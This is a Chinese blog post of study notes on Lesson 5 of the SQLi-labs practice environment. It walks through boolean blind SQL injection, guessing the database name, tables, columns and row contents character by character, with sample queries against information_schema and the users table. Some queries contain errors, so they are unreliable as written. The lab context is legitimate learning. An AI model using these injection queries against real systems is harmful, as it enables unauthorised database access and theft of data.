美文网首页
SQLDUMB LESSON-5

SQLDUMB LESSON-5

作者: Jodiey | 来源:发表于2019-04-12 15:59 被阅读0次

记录SQLDUMB学习中,从Lesson 5中学习的新知识和对知识的回顾

     Lesson 5 主要通过盲注来获取服务器端数据库详细信息,并找到缺口进行注入。所谓的盲注便是前端页面并不返回后端数据库中相关信息,只有部分提示。例:"You Are In ......"等类似简短的提示。
     在此将详细描述该类状况思路,并通过实例解释说明。


注入思路

  • 按照上一节SQLDUMB LESSON-1中思路,将可注入的点闭合
  • 查询Mysql数据库版本号
  • 猜测数据库名的长度
  • 猜测数据库名
  • 猜测数据库中的表
  • 猜测数据库中的表的列名
  • 猜测数据库中的表内容

具体步骤:

查询Mysql数据库版本号

  • SELECT version( )
    得出版本号:5.5.53

猜测数据库名的长度

  • SELECT LENGTH(DATABASE ( ) ) = '%NUM'
    "*%NUM*"是对长度的猜测值

猜测数据库名

  1. 方法一:
  • SELECT LENGTH(DATABASE ( ),1 ) = '%STR'
    以此类推 SELECT LENGTH(DATABASE ( ),2 ) = '%STR'
    "*%STR*"是对数据库名字的字母猜测
  1. 方法二
    通过sub() /ascii() 函数,字母的ASCII码进行猜测
    ascii(substr((SELECT table_name information_schema.TABLES WHERE tables_schema = DATABASE()LIMIT 0,1),1,1)) = 'ASCII_STR'
    "*%ASCII_STR*"是字母的ASCII码

猜测数据库中的表

  • SELECT table_name from information_schema.tables where table_schema like '%DB_NAME'
    "*%DB_NAME*"是已经得出的数据库名,也可进行模糊查询

猜测数据库中的表的列名

利用正则表达式,查看'users'表中,是否有以'us'开头的列名

  • select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1'
    "*^us[a-z]*"是替换成其他猜测的列名

猜测数据库中的表内容

依旧是每一个字符比对

  • SELECT * FROM users WHERE id='1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68

至此已经可以查看到每个表的内容


总结

目前学习内容尚浅,只能通过每个字符比较进行手动测试字符,当然后续会有自动化工具,会在后续进行学习。


附录:Mysql常用函数表

  • SUBSTR() 函数:
-- substr(string,start,length)
>>>select substr((select username from users where id = 1 limit 1),1,1)
D
  • MID() 函数:
-- mid(string,start,length)
>>>select mid((select username from users where id = 1 limit 1),1,5)
Dumb
  • ORD() 函数:
-- ord(string)
>>>select ord(mid((select username from users where id = 1 limit 1),1,5))
68

相关文章

  • SQLDUMB LESSON-5

    记录SQLDUMB学习中,从Lesson 5中学习的新知识和对知识的回顾 Lesson 5 主要通过盲注来获取服务...

  • SQLDUMB LESSON-1

    网络安全相关方面,以SQLDUMB 为实践,此篇是关于lesson 1中自身知识匮乏的记录 本文从以下两个方面阐述...

  • Lesson-5 Javascript语法拾遗补缺

    这里只是针对一些平时不注意的基础知识点的罗列 JavaScript不区分整数和浮点数 ==是值的比较可以自动转换,...

网友评论

      本文标题:SQLDUMB LESSON-5

      本文链接:https://www.haomeiwen.com/subject/padcwqtx.html